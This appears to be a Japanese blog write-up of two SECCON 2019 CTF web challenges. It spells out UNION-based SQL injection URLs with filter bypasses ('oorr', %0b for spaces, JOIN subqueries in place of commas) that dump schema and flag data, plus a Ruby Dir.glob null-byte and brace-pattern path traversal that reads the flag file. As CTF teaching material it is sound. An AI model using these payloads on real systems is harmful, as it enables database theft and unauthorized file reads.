Help us understand the problem. What is going on with this article?

SECCON 2019 Online CTF Write-up

今年も SECCON 2019 Online CTF に参加しました。

自分は web_search (212 pt) と fileserver (345 pt) を解いたのでその Write-up を書きます。

web_search

いかにも SQLi できそうな感じの Web サイト

image.png

やることは UNION Based SQLi なのですが、いくつか制約があります。

  • or という文字列が取り除かれる
  • スペースが使えない
  • カンマ , が使えない

一つ目の or が使えないのは oorr に置き換えればバイパスできます。
二つ目のスペースが使えない問題は、いくつか対応法があるみたいですが、自分は %0b (タブ文字)で代用しました。

ここまでで、UNION する際に必要なカラム数は取得できます。

http://web-search.chal.seccon.jp/?q=' %0b OORRDER %0b BY %0b 3 ;#

ORDER BY の値を 1, 2, ... と増やしていった結果、4 でエラーが発生したのでカラム数は 3 だとわかります。

さて、三つ目のカンマが使えない問題ですが、https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/ を参考にするとバイパスできることがわかりました。

あとはいつも通りで、まずは information_schema から必要な情報を SQLi で抜き出します。

http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b table_name %0b FROM %0b infoorrmation_schema.tables)b %0b JOIN %0b (SELECT %0b 2)c;#
http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b column_name %0b FROM %0b infoorrmation_schema.columns %0b WHERE %0b table_name %0b = %0b 'flag')b %0b JOIN %0b (SELECT %0b 2)c;#

flag テーブルから FLAG を抜き出します。

http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b piece %0b FROM %0b seccon_sqli.flag)b %0b JOIN %0b (SELECT %0b 2)c;#

これで FLAG が手に入るかと思ったら、一部( You_Win_Yeah} )しか手に入らなかった。
仕方ないので、 articles テーブルの方も見てみる。

http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b column_name %0b FROM %0b infoorrmation_schema.columns %0b WHERE %0b table_name %0b = %0b 'articles')b %0b JOIN %0b (SELECT %0b 2)c;#
http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b description %0b FROM %0b seccon_sqli.articles)b %0b JOIN %0b (SELECT %0b 2)c;#

前半部分( SECCON{Yeah_Sqli_Success_ )が手に入り、繋げると FLAG になる。

SECCON{Yeah_Sqli_Success_You_Win_Yeah}

fileserver

Ruby の標準ライブラリ WEBrick で Web サーバが立ち上がっている。

image.png

req.path の最後が / の場合、そのディレクトリ配下のファイルの一覧が返ってきます。

files = Dir.glob(".#{req.path}*")

そうでない場合、マッチしたファイルの中身が返ってきます。

matches = Dir.glob(req.path[1..])
file = File.open(matches.first, 'rb')
res['Content-Type'] = server.config[:MimeTypes][File.extname(req.path)[1..]]
res.body = file.read(1e6)

FLAG は /tmp/flags/#{SecureRandom.alphanumeric(32)}.txt にあるので、ディレクトリトラバーサルする必要があります。

FileUtils.cp('flag.txt', "/tmp/flags/#{SecureRandom.alphanumeric(32)}.txt")

解答

Dir.glob() ですが、 docs.ruby-lang.org を見ると次のように書いてあります。

パターンを文字列で指定します。 パターンを "\0" で区切って 1 度に複数のパターンを指定することもで きます。 パターンの区切りには "\0" のみ指定できます。 配列を指定することで複数のパターンを指定できます。

よって、以下のようにすると /tmp/flags/* のファイル一覧を返してくれます。

http://fileserver.chal.seccon.jp:9292/hoge\0/tmp/flags/

FLAG のファイル名が手に入ったので、同様にファイルの中身を取得しようとすると、以下の箇所でエラー(ヌル文字が含まれているという内容)が発生します。

res['Content-Type'] = server.config[:MimeTypes][File.extname(req.path)[1..]]

パスのチェックを行う is_bad_path メソッドをうまくバイパスすると FLAG が手に入る。
[{ の優先順位の違いから、[ を使うと {} が使える)

http://fileserver.chal.seccon.jp:9292/{/tmp/flags/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.txt,[}
SECCON{You_are_the_Globbin'_Slayer}
Why do not you register as a user and use Qiita more conveniently?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
Comments
Sign up for free and join this conversation.
If you already have a Qiita account
Why do not you register as a user and use Qiita more conveniently?
You need to log in to use this function. Qiita can be used more conveniently after logging in.
You seem to be reading articles frequently this month. Qiita can be used more conveniently after logging in.
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away